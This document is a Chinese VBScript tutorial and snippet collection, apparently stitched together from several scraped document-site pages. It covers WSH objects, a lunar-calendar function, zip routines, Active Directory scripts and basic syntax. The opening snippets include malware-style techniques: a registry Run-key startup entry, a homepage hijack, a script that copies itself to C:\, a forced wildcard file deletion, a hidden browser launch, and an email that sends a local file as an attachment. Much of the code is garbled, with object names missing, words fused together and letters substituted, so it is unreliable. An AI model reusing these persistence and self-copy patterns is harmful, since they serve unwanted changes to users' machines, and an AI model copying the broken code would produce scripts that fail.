set WshShell =WScript.CreateObject("WScript.Shell")strWinDir = WshShell.ExpandEnvironmentStrings("%WinDir%")VBS获取C:\Program Files路径msgboxCreateObject("WScript.Shell").ExpandEnvironmentStrings("% ProgramFiles%")VBS获取C:\Program Files\Common Files路径msgboxCreateObject("WScript.Shell").ExpandEnvironmentStrings("% CommonProgramFiles%")给桌面添加网址快捷方式set gangzi =WScript.CreateObject("WScript.Shell")strDesktop = gangzi.SpecialFolders("Desktop")set oShellLink =gangzi.CreateShortcut(strDesktop & "\InternetExplorer.lnk")oShellLink.TargetPath =""oShellLink.Description = "Internet Explorer"oShellLink.IconLocation = "%ProgramFiles%\Internet Explorer\iexplore.exe, 0"oShellLink.Save给收藏夹添加网址Const ADMINISTRATIVE_TOOLS = 6Set objShell = CreateObject("Shell.Application")Set objFolder = space(ADMINISTRATIVE_TOOLS)Set objFolderItem = objFolder.Self Set objShell = WScript.CreateObject("WScript.Shell")strDesktopFld = objFolderItem.PathSet objURLShortcut =objShell.CreateShortcut(strDesktopFld & "\奋斗Blog.url")objURLShortcut.TargetPath ="/"objURLShortcut.Save删除指定目录指定后缀文件On Error Resume NextSet fso =CreateObject("Scripting.FileSystemObject")fso.DeleteFile "C:\*.vbs", TrueSet fso = NothingVBS改主页Set oShell = CreateObject("WScript.Shell")oShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page",""VBS加启动项Set oShell=CreateObject("Wscript.Shell")oShell.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\c md","cmd.exe"VBS复制自己setcopy1=createobject("scripting.filesystemobject")copy1.getfil e(wscript.scriptfullname).copy("c:\huan.vbs")复制自己到C盘的huan.vbs(复制本vbs目录下的game.exe 文件到c盘的gangzi.exe)setcopy1=createobject("scripting.filesystemobject")copy1.getfil e("game.exe").copy("c:\gangzi.exe")VBS获取系统临时目录Dim fsoSet fso =CreateObject("Scripting.FileSystemObject")Dim tempfolderConst TemporaryFolder = 2Set tempfolder = fso.GetSpecialFolder(TemporaryFolder)Wscript.Echo tempfolder就算代码出错依然继续执行On Error Resume NextVBS打开网址Set objShell =CreateObject("Wscript.Shell")objShell.Run("http://www.fendo /")VBS发送邮件NameSpace ="/cdo/configuration/"Set Email = CreateObject("CDO.Message")Email.From = "发件@"Email.To = "收件@"Email.Subject = "Test sendmail.vbs"Email.Textbody = "OK!"Email.AddAttachment "C:\1.txt"WithEmail.Configuration.Fields.Item(NameSpace&"sendusing") = 2.Item(NameSpace&"smtpserver") = "smtp.邮件服务器.com".Item(NameSpace&"smtpserverport") =25.Item(NameSpace&"smtpauthenticate") =1.Item(NameSpace&"sendusername") = "发件人用户名".Item(NameSpace&"sendpassword") = "发件人密码".UpdateEnd WithEmail.SendVBS结束进程strComputer = "."Set objWMIService = GetObject _ ("winmgmts:\\" & strComputer & "\root\cimv2")Set colProcessList = objWMIService.ExecQuery _ ("Select * from Win32_Process Where Name = 'Rar.exe'")For Each objProcess in colProcessList objProcess.Terminate()NextVBS隐藏打开网址(部分浏览器无法隐藏打开,而是直接打开,适合主流用户使用)createObject("wscript.shell").run "iexplore/",0兼容所有浏览器,使用IE的绝对路径+参数打开,无法用函数得到IE安装路径,只用函数得到了Program Files路径,应该比上面的方法好,但是两种方法都不是绝对的。
vbs脚本
四、条件语句
• • • • • • • • • • 在selectcase语句中,其基本形式为: Select case 变量 Case 条件值 处理条件语句 并对上两句进行重复 最后一句应为 case else 处理语句 当然不要忘记将条件结束语句End select放在最后一行 注意:在执行字符串比较时,需要特别注意大小写,一般 情况下,我们在比较前,使用lcase函数将字符串转换成 小写,使用ucase函数将字符串转换成大写大写。
WSH常用对象
• Set objShell = CreateObject(“Wscript.Shell”) • objShell.Run “notepad” ,,true • objShell.Run “calc”
WSH常用对象
• 总结:run函数有三个参数,第一个参数是 你要执行的程序的路径,第二个程序是窗 口的形式,0是在后台运行;1表示正常运 行;2表示激活程序并且显示为最小化;3 表示激活程序并且显示为最大化;一共有 10个这样的参数我只列出了4个最常用的。 • 第三个参数是表示这个脚本是等待还是继 续执行,如果设为了true,脚本就会等待调 用的程序退出后再向后执行。
错误处理
• • • • • • on error resume next a=11 b=0 c=a/b if err.number<>0 then wscript.echo err.number & err.description & err.source • end if
WMI
• WMI即Windows 管理规范, Windows Management Instrumentation • 一、WMI的起源
• 步骤 2:检索 WMI 托管资源的实例 一般采用WQL来实现。 步骤 3:显示 WMI 托管资源的属性 最后一个步骤是枚举 检索得到集合的内容。一般采用 For each enum in myclass …… Next 结构来实现。
最新最全的VBS脚本应用超级范例大全
可以显示农历的VBS代码:<script language=vbscript>Function nl()'获取当前系统时间curTime = Now()Dim WeekName(7), MonthAdd(11), NongliData(99), TianGan(9), DiZhi(11), ShuXiang(11), DayName(30), MonName(12)'星期名WeekName(0) = " * "WeekName(1) = "星期日"WeekName(2) = "星期一"WeekName(3) = "星期二"WeekName(4) = "星期三"WeekName(5) = "星期四"WeekName(6) = "星期五"WeekName(7) = "星期六"'天干名称TianGan(0) = "甲"TianGan(1) = "乙"TianGan(2) = "丙"TianGan(3) = "丁"TianGan(4) = "戊"TianGan(5) = "己"TianGan(6) = "庚"TianGan(7) = "辛"TianGan(8) = "壬"TianGan(9) = "癸"'地支名称DiZhi(0) = "子"DiZhi(1) = "丑"DiZhi(2) = "寅"DiZhi(3) = "卯"DiZhi(4) = "辰"DiZhi(5) = "巳"DiZhi(6) = "午"DiZhi(7) = "未"DiZhi(8) = "申"DiZhi(9) = "酉"DiZhi(10) = "戌"DiZhi(11) = "亥"'属相名称ShuXiang(0) = "鼠"ShuXiang(1) = "牛" ShuXiang(2) = "虎" ShuXiang(3) = "兔" ShuXiang(4) = "龙" ShuXiang(5) = "蛇" ShuXiang(6) = "马" ShuXiang(7) = "羊" ShuXiang(8) = "猴" ShuXiang(9) = "鸡" ShuXiang(10) = "狗" ShuXiang(11) = "猪" '农历日期名DayName(0) = "*" DayName(1) = "初一" DayName(2) = "初二" DayName(3) = "初三" DayName(4) = "初四" DayName(5) = "初五" DayName(6) = "初六" DayName(7) = "初七" DayName(8) = "初八" DayName(9) = "初九" DayName(10) = "初十" DayName(11) = "十一" DayName(12) = "十二" DayName(13) = "十三" DayName(14) = "十四" DayName(15) = "十五" DayName(16) = "十六" DayName(17) = "十七" DayName(18) = "十八" DayName(19) = "十九" DayName(20) = "二十" DayName(21) = "廿一" DayName(22) = "廿二" DayName(23) = "廿三" DayName(24) = "廿四" DayName(25) = "廿五" DayName(26) = "廿六" DayName(27) = "廿七" DayName(28) = "廿八" DayName(29) = "廿九" DayName(30) = "三十" '农历月份名MonName(0) = "*" MonName(1) = "正" MonName(2) = "二" MonName(3) = "三" MonName(4) = "四" MonName(5) = "五" MonName(6) = "六" MonName(7) = "七" MonName(8) = "八" MonName(9) = "九" MonName(10) = "十" MonName(11) = "十一" MonName(12) = "腊"'公历每月前面的天数MonthAdd(0) = 0 MonthAdd(1) = 31 MonthAdd(2) = 59 MonthAdd(3) = 90 MonthAdd(4) = 120 MonthAdd(5) = 151 MonthAdd(6) = 181 MonthAdd(7) = 212 MonthAdd(8) = 243 MonthAdd(9) = 273 MonthAdd(10) = 304 MonthAdd(11) = 334'农历数据NongliData(0) = 2635 NongliData(1) = 333387 NongliData(2) = 1701 NongliData(3) = 1748 NongliData(4) = 267701 NongliData(5) = 694 NongliData(6) = 2391 NongliData(7) = 133423 NongliData(8) = 1175 NongliData(9) = 396438 NongliData(10) = 3402 NongliData(11) = 3749 NongliData(12) = 331177 NongliData(13) = 1453 NongliData(14) = 694 NongliData(15) = 201326 NongliData(16) = 2350NongliData(18) = 3221 NongliData(19) = 3402 NongliData(20) = 400202 NongliData(21) = 2901 NongliData(22) = 1386 NongliData(23) = 267611 NongliData(24) = 605 NongliData(25) = 2349 NongliData(26) = 137515 NongliData(27) = 2709 NongliData(28) = 464533 NongliData(29) = 1738 NongliData(30) = 2901 NongliData(31) = 330421 NongliData(32) = 1242 NongliData(33) = 2651 NongliData(34) = 199255 NongliData(35) = 1323 NongliData(36) = 529706 NongliData(37) = 3733 NongliData(38) = 1706 NongliData(39) = 398762 NongliData(40) = 2741 NongliData(41) = 1206 NongliData(42) = 267438 NongliData(43) = 2647 NongliData(44) = 1318 NongliData(45) = 204070 NongliData(46) = 3477 NongliData(47) = 461653 NongliData(48) = 1386 NongliData(49) = 2413 NongliData(50) = 330077 NongliData(51) = 1197 NongliData(52) = 2637 NongliData(53) = 268877 NongliData(54) = 3365 NongliData(55) = 531109 NongliData(56) = 2900 NongliData(57) = 2922 NongliData(58) = 398042 NongliData(59) = 2395 NongliData(60) = 1179NongliData(62) = 2635NongliData(63) = 661067NongliData(64) = 1701NongliData(65) = 1748NongliData(66) = 398772NongliData(67) = 2742NongliData(68) = 2391NongliData(69) = 330031NongliData(70) = 1175NongliData(71) = 1611NongliData(72) = 200010NongliData(73) = 3749NongliData(74) = 527717NongliData(75) = 1452NongliData(76) = 2742NongliData(77) = 332397NongliData(78) = 2350NongliData(79) = 3222NongliData(80) = 268949NongliData(81) = 3402NongliData(82) = 3493NongliData(83) = 133973NongliData(84) = 1386NongliData(85) = 464219NongliData(86) = 605NongliData(87) = 2349NongliData(88) = 334123NongliData(89) = 2709NongliData(90) = 2890NongliData(91) = 267946NongliData(92) = 2773NongliData(93) = 592565NongliData(94) = 1210NongliData(95) = 2651NongliData(96) = 395863NongliData(97) = 1323NongliData(98) = 2707NongliData(99) = 265877'生成当前公历年、月、日 ==> GongliStr curYear = Year(curTime)curMonth = Month(curTime)curDay = Day(curTime)GongliStr = curYear & "年"If (curMonth < 10) ThenGongliStr = GongliStr & "0" & curMonth & "月"ElseGongliStr = GongliStr & curMonth & "月"End IfIf (curDay < 10) ThenGongliStr = GongliStr & "0" & curDay & "日"ElseGongliStr = GongliStr & curDay & "日"End If'生成当前公历星期 ==> WeekdayStrcurWeekday = Weekday(curTime)WeekdayStr = WeekName(curWeekday)'计算到初始时间1921年2月8日的天数:1921-2-8(正月初一)TheDate = (curYear - 1921) * 365 + Int((curYear - 1921) / 4) + curDay + MonthAdd(curMonth - 1) - 38If ((curYear Mod 4) = 0 And curMonth > 2) ThenTheDate = TheDate + 1End If'计算农历天干、地支、月、日isEnd = 0m = 0DoIf (NongliData(m) < 4095) Thenk = 11Elsek = 12End Ifn = kDoIf (n < 0) ThenExit DoEnd If'获取NongliData(m)的第n个二进制位的值bit = NongliData(m)For i = 1 To n Step 1bit = Int(bit / 2)Nextbit = bit Mod 2If (TheDate <= 29 + bit) ThenisEnd = 1Exit DoEnd IfTheDate = TheDate - 29 - bitn = n - 1LoopIf (isEnd = 1) ThenExit DoEnd Ifm = m + 1LoopcurYear = 1921 + mcurMonth = k - n + 1curDay = TheDateIf (k = 12) ThenIf (curMonth = (Int(NongliData(m) / 65536) + 1)) ThencurMonth = 1 - curMonthElseIf (curMonth > (Int(NongliData(m) / 65536) + 1)) ThencurMonth = curMonth - 1End IfEnd If'生成农历天干、地支、属相 ==> NongliStrNongliStr = "农历" & TianGan(((curYear - 4) Mod 60) Mod 10) &DiZhi(((curYear - 4) Mod 60) Mod 12) & "年"NongliStr = NongliStr & "(" & ShuXiang(((curYear - 4) Mod 60) Mod 12) & ")"'生成农历月、日 ==> NongliDayStrIf (curMonth < 1) ThenNongliDayStr = "闰" & MonName(-1 * curMonth)ElseNongliDayStr = MonName(curMonth)End IfNongliDayStr = NongliDayStr & "月"NongliDayStr = NongliDayStr & DayName(curDay)nl = NongliStr & NongliDayStrEnd Functionmsgbox nl</script>vbs实现显示系统调色板的代码:set ie = createobject("internetexplorer.application")ie.navigate "about:blank"do until ie.readystate = 4 : wscript.sleep 25 : loopset doc = ie.documentset body = doc.bodyset win = doc.parentwindowbody.innerhtml = "<OBJECT id=dlgCLASSID='clsid:3050f819-98b5-11cf-bb82-00aa00bdce0b'></OBJECT>"body.innertext = doc.getElementById("dlg").choosecolordlg win.clipboarddata.setdata "text", body.innertextie.quit用vbs实现zip功能的脚本:压缩:Function fZip(sSourceFolder,sTargetZIPFile)'This function will add all of the files in a source folder to a ZIP file 'using Windows' native folder ZIP capability.Dim oShellApp, oFSO, iErr, sErrSource, sErrDescriptionSet oShellApp = CreateObject("Shell.Application")Set oFSO = CreateObject("Scripting.FileSystemObject")'The source folder needs to have a \ on the EndIf Right(sSourceFolder,1) <> "\" Then sSourceFolder = sSourceFolder & "\" On Error Resume Next'If a target ZIP exists already, delete itIf oFSO.FileExists(sTargetZIPFile) Then oFSO.DeleteFile sTargetZIPFile,TrueiErr = Err.NumbersErrSource = Err.SourcesErrDescription = Err.DescriptionOn Error GoTo 0If iErr <> 0 ThenfZip = Array(iErr,sErrSource,sErrDescription)Exit FunctionEnd IfOn Error Resume Next'Write the fileheader for a blank zipfile.oFSO.OpenTextFile(sTargetZIPFile, 2, True).Write "PK" & Chr(5) & Chr(6) & String(18, Chr(0))iErr = Err.NumbersErrSource = Err.SourcesErrDescription = Err.DescriptionOn Error GoTo 0If iErr <> 0 ThenfZip = Array(iErr,sErrSource,sErrDescription)Exit FunctionEnd IfOn Error Resume Next'Start copying files into the zip from the source folder. Space(sTargetZIPFile).CopyHereSpace(sSourceFolder).ItemsiErr = Err.NumbersErrSource = Err.SourcesErrDescription = Err.DescriptionOn Error GoTo 0If iErr <> 0 ThenfZip = Array(iErr,sErrSource,sErrDescription)Exit FunctionEnd If'Because the copying occurs in a separate process, the script will just continue. Run a DO...LOOP to prevent the function'from exiting until the file is finished zipping.Do Until Space(sTargetZIPFile).Items.Count = Space(sSourceFolder).Items.CountWScript.Sleep 1500'如果不成功,增加一下秒数LoopfZip = Array(0,"","")End FunctionCall fZip ("C:\vbs","c:\vbs.zip")解压缩:Function fUnzip(sZipFile,sTargetFolder)'Create the Shell.Application objectDim oShellApp:Set oShellApp = CreateObject("Shell.Application")'Create the File System objectDim oFSO:Set oFSO = CreateObject("Scripting.FileSystemObject")'Create the target folder if it isn't already thereIf Not oFSO.FolderExists(sTargetFolder) Then oFSO.CreateFolder sTargetFolder'Extract the files from the zip into the folderSpace(sTargetFolder).CopyHereSpace(sZipFile).Items'This is a seperate process, so the script would continue even if the unzipping is not done'To prevent this, we run a DO...LOOP once a second checking to see if the number of files'in the target folder equals the number of files in the zipfile. If so, we continue.DoWScript.Sleep 1000‘有时需要更改Loop While oFSO.GetFolder(sTargetFolder).Files.Count <Space(sZipFile).Items.CountEnd Function非常棒的lcx写的非常规运行vbs :vbs有一个对像是“SAPI.SpVoice”,可以用它来讲英语的这个组件在xp、2003上默认都可以用的,调用后可以听到电脑上一个国外老男人在说话。
【名师精品】VBS经典脚本.doc
Vbs脚本经典教材Vbs脚本经典教材(最全的资料还是MSDN)—为什么要使用Vbs?在Windows中,学习计算机操作也许很简单,但是很多计算机工作是重复性劳动,例如你每周也许需要对一些计算机文件进行复制、粘贴、改名、删除,也许你每天启动计算机第一件事情就是打开WOYD,切换到你喜爱的输入法进行文本编辑,同时还要播放优ME音乐给工作创造一个舒心的环境,当然也有可能你经常需要对文本中的某些数据进行整理,把各式各样的数据按照某种规则排列起来……。
这些事情重复、琐碎,使人容易疲劳。
第三方软件也许可以强化计算机的某些功能,但是解决这些重复劳动往往事倍功半,我也尝试过使用计算机语言编写程序来解决这些问题,但是随之而来的命令、语法、算法、系统框架和类库常常让我觉得这样是否有必要,难道就是因为猪毛比较难拔,所以我就要去学习机械,为自己设计一个拔猪毛机(?)吗?Vbs是一种Windows脚本,它的全称是:MicYosoftVisualBasicScYiptEditon.(微软公司可视化BASIC脚本版),VBS是VisualBasic的的一个抽象子集,是系统内置的,用它编写的脚本代码不能编译成二进制文件,直接由Windows系统执行(实际是一个叫做宿主host的解释源代码并执行),高效、易学,但是大部分高级语言能干的事情,它基本上都具备,它可以使各种各样的任务自动化,可以使你从重复琐碎的工作中解脱出来,极大的提高工作效率。
我个人认为Vbs脚本其实就是一种计算机编程语言,但是由于缺少计算机程序设计语言中的部分要素,对于事件的描述能力较弱,所以称为脚本,它最方便的地方就是提供了对COM对象的简便支持。
那么什么是COM对象呢?我这样理解,COM对象就是一些具有特定函数功能项程序模块,他们一般以ocG 或者dll作为扩展名,你只要找到包含有你需要的功能的模块文件,并在脚本中规范的引用,就可以实现特定的功能,也就是说Vbs脚本就是调用现成的“控件”作为对象,用对象的属性和方法实现目的,完全免去了编写代码、设计算法等等麻烦。
VBS脚本实例
VBS脚本实例说明:本文中所列出的脚本实例,均为本人因日常工作需要所写,已在生产环境中验证并使用(参数请自行修改),希望可以帮到有需要的人。
但本人并非非常熟悉VBS脚本,属于现学现卖的,欢迎批评指正或是与VBS/PowerShell脚本相关的技术交流。
谢谢!1AD相关1.1迁移用户/计算机到指定OU******************************************************************************* *******on error resume nextSet fso = CreateObject("")Set basefile =("C:\",1)Set WSshell=CreateObject("")Do Until = -1 '读取txt文件,直到最后一行结束base =comm = "cmd /c echo " & base & " >>C:\"comm,0,trueIf ("C:\" & base & ".txt") Then '判断是否有指定OU的txt文件Set file=("C:\" & base & ".txt",1) '打开文件Count = 0ErrorCount = 0disabledCount = 0Do Until =-1name = 'name 形如:cn=test123,ou=test,dc=abc,dc=com ab group = Right(name,2)= 0If LCase(group) = "ab" Thenname = Left(name,Len(name)-3)' nameSet UserObj = GetObject("" & name)'If = 0 ThenIf = FALSE ThenstrNewParentDN = "ou=" & base & ",ou=personnel,ou=ab,DC=abc,DC=com"set objCont = GetObject("" & strNewParentDN)"" & name,vbNullStringCount_dc = Count_dc + 1elsestrNewParentDN = "ou=personel,ou=disabledAccounts,DC=abc,DC=com"set objCont = GetObject("" & strNewParentDN)"" & name,vbNullStringdisabledCount = disabledCount + 1End IfElseErrorCount = ErrorCount + 1comm = "cmd /c echo dc >>C:\"comm,0,truecomm = "cmd /c echo " & name & " >>C:\"comm,0,trueEnd IfElsename = Left(name,Len(name)-6)Set UserObj = GetObject("" & name)If = 0 Then 'If = FALSE ThenstrNewParentDN = "ou=" & base & ",ou=personnel,ou=ab,DC=abc,DC=com"set objCont = GetObject("" & strNewParentDN)"" & name,vbNullStringCount_dcits = Count_dcits + 1elsestrNewParentDN = "ou=personel,ou=disabledAccounts,DC=abc,DC=com"set objCont = GetObject("" & strNewParentDN)"" & name,vbNullStringdisabledCount = disabledCount + 1End IfElsecomm = "cmd /c echo dcits >>C:\"comm,0,trueErrorCount = ErrorCount + 1comm = "cmd /c echo " & name & " >>C:\"comm,0,trueEnd IfEnd IfLoopcomm = "cmd /c echo Count_dc=" & Count_dc & " >>C:\"comm,0,truecomm = "cmd /c echo Count_dcits=" & Count_dcits & " >>C:\"comm,0,truecomm = "cmd /c echo disabledCount=" & disabledCount & " >>C:\"comm,0,truecomm = "cmd /c echo ErrorCount=" & ErrorCount & " >>C:\"comm,0,trueEnd IfLoop"操作完成"****************************************************************************** 1.2批量导出AD中指定OU的用户和安全组******************************************************************************* *******'读取域下abOU下,personnelOU中所有OU中的用户和安全组'结果保存到C:\******************************************************************************* *******on error resume nextSet fso = CreateObject("")' 用存放ou=personnel,ou=ab,dc=abc,dc=com下各OU的名称Set basefile =("C:\",1)Set WSshell=CreateObject("")Do Until = -1base =ou1 = "ou=" & base & ",ou=personnel,ou=ab,dc=abc,dc=com"Set UserObj_ab = GetObject("" & ou1)For Each oUser in UserObj_abname = '读取到的当前用户的显示名称account = '用户的登录名disabled = '用户状态,True为禁用,False为启用' dn = '用户LDAP路径comm = "cmd /c echo " & name & " " & account & " " & base & " " & disabled & " dc >>C:\"comm,0,true '输出到指定文件夹NextLoop"操作完成"******************************************************************************* *******2文件相关2.1解压文件到指定文件夹'获取当前日期temp_day = day(date)temp_month = month(date)temp_year = year(date)If Len(temp_day) = 1 Thentemp_day = "0" & temp_dayEnd IfIf Len(temp_month) = 1 Thentemp_month = "0" & temp_monthEnd Iftoday = temp_year & temp_month & temp_day 'msgbox today'获取压缩包ftpRar = "D:\FTP\"uFolder = "D:\\update\" & temp_yearcount = 0Set wsShell= ("")Set fso = CreateObject("")Set oFolder = (ftpRar)'Set oSubFolders =For Each File inrarName =rarPath =' msgbox rarName' msgbox rarPathIf Left(rarName,8) = today Thencount = count + 1'解压缩cmd = "winrar x -t -o+ -p- " & rarPath & chr(32) & uFolder' msgbox cmdcmdEnd IfNextIf count = 0 ThenMsgbox "压缩包不存在!"End If******************************************************************************* 2.2增量备份*******************************************************************************用于文件更新前的增量备份。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
Vbs脚本经典教材Vbs脚本经典教材(最全的资料还是MSDN)—为什么要使用Vbs?在Windows中,学习计算机操作也许很简单,但是很多计算机工作是重复性劳动,例如你每周也许需要对一些计算机文件进行复制、粘贴、改名、删除,也许你每天启动计算机第一件事情就是打开WORD,切换到你喜爱的输入法进行文本编辑,同时还要播放优美的音乐给工作创造一个舒心的环境,当然也有可能你经常需要对文本中的某些数据进行整理,把各式各样的数据按照某种规则排列起来……。
这些事情重复、琐碎,使人容易疲劳。
第三方软件也许可以强化计算机的某些功能,但是解决这些重复劳动往往事倍功半,我也尝试过使用计算机语言编写程序来解决这些问题,但是随之而来的命令、语法、算法、系统框架和类库常常让我觉得这样是否有必要,难道就是因为猪毛比较难拔,所以我就要去学习机械,为自己设计一个拔猪毛机(?)吗?Vbs是一种Windows脚本,它的全称是:MicrosoftVisualBasicScriptEditon.(微软公司可视化BASIC脚本版),VBS是VisualBasic的的一个抽象子集,是系统内置的,用它编写的脚本代码不能编译成二进制文件,直接由Windows系统执行(实际是一个叫做宿主host的解释源代码并执行),高效、易学,但是大部分高级语言能干的事情,它基本上都具备,它可以使各种各样的任务自动化,可以使你从重复琐碎的工作中解脱出来,极大的提高工作效率。
我个人认为Vbs脚本其实就是一种计算机编程语言,但是由于缺少计算机程序设计语言中的部分要素,对于事件的描述能力较弱,所以称为脚本,它最方便的地方就是提供了对COM对象的简便支持。
那么什么是COM对象呢?我这样理解,COM对象就是一些具有特定函数功能项程序模块,他们一般以ocG 或者dll作为扩展名,你只要找到包含有你需要的功能的模块文件,并在脚本中规范的引用,就可以实现特定的功能,也就是说Vbs脚本就是调用现成的“控件”作为对象,用对象的属性和方法实现目的,完全免去了编写代码、设计算法等等麻烦。
说白了,我不是觉得拔猪毛麻烦么?我发觉GG机(比如真空离心器)有一个功能可以实现脱毛,ok,我把它拿来给猪脱毛。
什么?大材小用?太浪费资源了?天哪,那是计算机芯片的事情,死道友不死贫道,反正我的事情是方便快速的解决了,这就行了。
最方便的是它甚至不需要专门的开发环境,在你的计算机中,只要有notepad,就可以编写Vbs脚本了,并且可以直接执行。
Vbs脚本编程简明教程之二如何开始第一个Vbs脚本?就像多数计算机教程一样,我们从“HelloWorld!”程序开始我们的练习。
什么?不知道是什么意思?就是说大部分的计算机程序设计教程开篇入门都是编写一个小程序,执行这个程序的结果就是在计算机的屏幕上或者dos窗口中显示一行文字:HelloWorld!好了,我们开始吧。
打开你的“记事本”程序,在编辑窗口填写:msgboG"HelloWorld!"然后用鼠标单击“文件”菜单,单击“保存”,把“保存在”一栏设为桌面,在“文件名”一栏中填写kk.vbs,单击“保存”就可以了。
然后最小化“记事本”窗口,在桌面上寻找你刚刚保存的kk.vbs,然后双击。
看到弹出的对话框了没有,单击“确定”,对话框消失了。
难看了点,不过确实是你编写的第一个脚本程序。
说明之一:上面的操作中,保存位置放在桌面,仅仅是为了执行方便,你保存到其他的地方完全没有问题,只要你知道你保存在什么地方就可以了,什么?是废话,自己保存的当然知道保存在那里了。
不,自己保存的文件自己找不到的人我见的多了去了。
文件名你可以随意填写,不一定非要写kk,只要符合Windows 的文件命名规则就可以了,但是扩展名必须是vbs,什么?不知道什么是扩展名?就是文件名中“.”后的那部分,简单说,就是vbs脚本文件命名时必须是:GGG.vbs,其中GGG你随意。
说明之二:在记事本编辑窗口中写的这行是什么意思?MsgboG是VBS内建的函数,每一个函数都可以完成一定的功能,你只需要按照语法要求,在函数的相应部分填写相应的内容就可以了,这部分内容我们称为参数,当然函数执行的结果我们称为返回值,一个函数可以有返回值也可以没有,可以有参数也可以没有。
你不用了解函数是怎么运作的,只要了解这个函数能干什么就行了。
MsgboG语法:msgboG"对话框内容",,"对话框的标题"你不妨用记事本打开刚才的文件在编辑窗口中输入:msgboG"HelloWorld!",,"系统提示"执行一下,看看效果和位置。
说明之三:如果执行失败,看看你的标点符号,所有的标点符号必须是在英文状态下输入的。
当然,这个脚本实在是太简单了,甚至连最简单的交互都没有,所以你可以把脚本这样修改一下:Dimnamename=InputboG("请输入你的名字:","名称")MsgboGname,,"您的名字是"保存执行一下,看到弹出的对话框了么?填入你的名字,点确定,看到结果了吗?说明之一:第一句是定义变量,dim是定义变量的语句其格式为:dim变量1,变量2……,Vbs只有一种变量类型,所以不用声明变量类型。
系统会自动分辨变量类型。
说明之二:inputboG是VBS内建的函数,可以接受输入的内容,其语法格式为:InputboG("对话框内容","对话框标题")第二句的意思是接受用户的输入,并把输入结果传递给变量name。
好了,到此脚本基本的输入输出函数都有了,已经可以完成一些比较简单的功能了,你可以编写一个简单的脚本,然后拷贝的“程序”—>“启动”中,然后重新启动计算机看看结果Vbs脚本编程简明教程之三Vbs的基本语法(牢记)VBScript基础知识一、变量1、所有单引号后面的内容都被解释为注释。
2、在VBScript中,变量的命名规则遵循标准的命名规则,需要注意的是:在VBScript中对变量、方法、函数和对象的引用是不区分大小写的。
在申明变量时,要显式地申明一个变量,需要使用关键字DIm来告诉VBScript你要创建一个变量,并将变量名称跟在其后。
申明多个同类型变量,可以用逗号分隔。
注意:VBScript中不允许在申明变量的时候同时给变量赋值。
但是允许在一行代码内同时对两个变量进行赋值,中间用冒号分隔。
3、你可以使用OptionEGplicit来告诉宿主变量必须先声明后使用。
4、VBScript在定义时只有一种变量类型,在实际使用中需要使用类型转换函数来将变量转换成相应的变量类型。
Cbool函数将变量转换成布尔值;Cbyte函数将变量转换为0到255之间的整数。
Ccur函数、Cdbl函数和Csng函数将变量转换为浮点数值,前者只精确到小数点后四位,后两者要更加精确,数值的范围也要大的多。
Cdate函数将变量转换为日期值。
Cint函数和Clng函数将变量转换为整数,后者的范围比前者要大的多。
Cstr函数将变量转换为字符串。
二、数组数组的定义与变量非常类似,只需要在变量后描述这个数组的个数和维数。
需要注意的是:数组的下标总是从0开始,而以数组定义中数值减一结束。
也就是说你以要定义一个有十个数据的数组,将这样书写代码:dImarray(9),同样,当你要访问第五个元素时,实际的代码是array(4)。
当然,你可以通过不指定数组的个数和维数来申明动态数组。
等到数组的个数和维数固定后,使用关键字redim来改变数组。
注意,在改变数组的大小时,数组的数据会被破坏,使用关键字preserve来保护数据。
例如:RedIm空格preserve空格array括号个数逗号维数括号三、操作符在VBScript运算符中,加减乘除都是我们常用的符号,乘方使用的是^,取模使用的Mod。
在比较操作符中,等于、小于、大于、小于等于、大于等于都与我们常用的符号是一致的,而不等于是小于和大于连用。
逻辑运算符为:和操作—>AND非操作—>NOT或操作—>OR;你可以使用操作符+和操作符&来连接字符串,一般使用&操作符;另外还有一个比较特殊的操作符Is用来比较对象,例如按钮对象,如果对象是同一类型,结果就是真,如果对象不是同一类型,结果就是假。
四、条件语句主要有if……then语句和selectcase语句两种形式在if……then语句中,其基本形式为:If条件then处理条件的语句;……Endif基本形式只能对单个条件进行验证,如果有两个条件,则需要在基本形式中添加单行语句else,如果还有更多的条件需要验证,则需要添加语句Elseif条件then处理条件语句在selectcase语句中,其基本形式为:Selectcase变量Case条件值处理条件语句并对上两句进行重复最后一句应为caseelse处理语句当然不要忘记将条件结束语句Endselect放在最后一行注意:在执行字符串比较时,需要特别注意大小写,一般情况下,我们在比较前,使用lcase函数将字符串转换成小写,使用ucase函数将字符串转换成大写大写。
五、循环控制语句循环控制语句有for……neGt循环、for……each循环、do……while循环、do……until循环、while循环五种形式。
在使用循环控制语句前,首先要对循环条件进行判断,如果循环次数是有固定次数的,那么使用For……neGt循环,其结构为:For计数器变量=开始计数值to最后计数值执行循环体NeGt如果是需要对数组或对象集合中的每一个元素进行判断,则需要使用for……each循环,其结构为:Foreach循环计数变量in要查看的对象或数组执行处理语句NeGt注意:在上述两种循环中随时可以使用eGitfor来退出循环如果你希望在条件满足时执行一段代码则使用do……while语句,结构为:Dowhile条件执行循环体Loop如果你希望在条件不满足时执行代码,则使用do……until语句,结构为:Do until 条件执行循环体Loop当然,在这两种循环语句中,你可以使用eGitdo来退出循环最后一种循环语句是条件满足时一直执行循环,While条件执行循环体Wend六、使用过程常用的过程有两种,一种为函数,给调用者返回值,一种为子程序,无返回值,还有一种叫事件的特殊子程序,用的比较少。
函数的基本定义方法为:Function函数名称(参数列表)函数代码函数名称=某值‘用来返回值endfunction子程序一些都类似,不过没有返回值注意:尽管在定义子程序的时候,参数列表要加括号,但在调用子程序的时候,参数列表不加括号,括号只在函数中使用。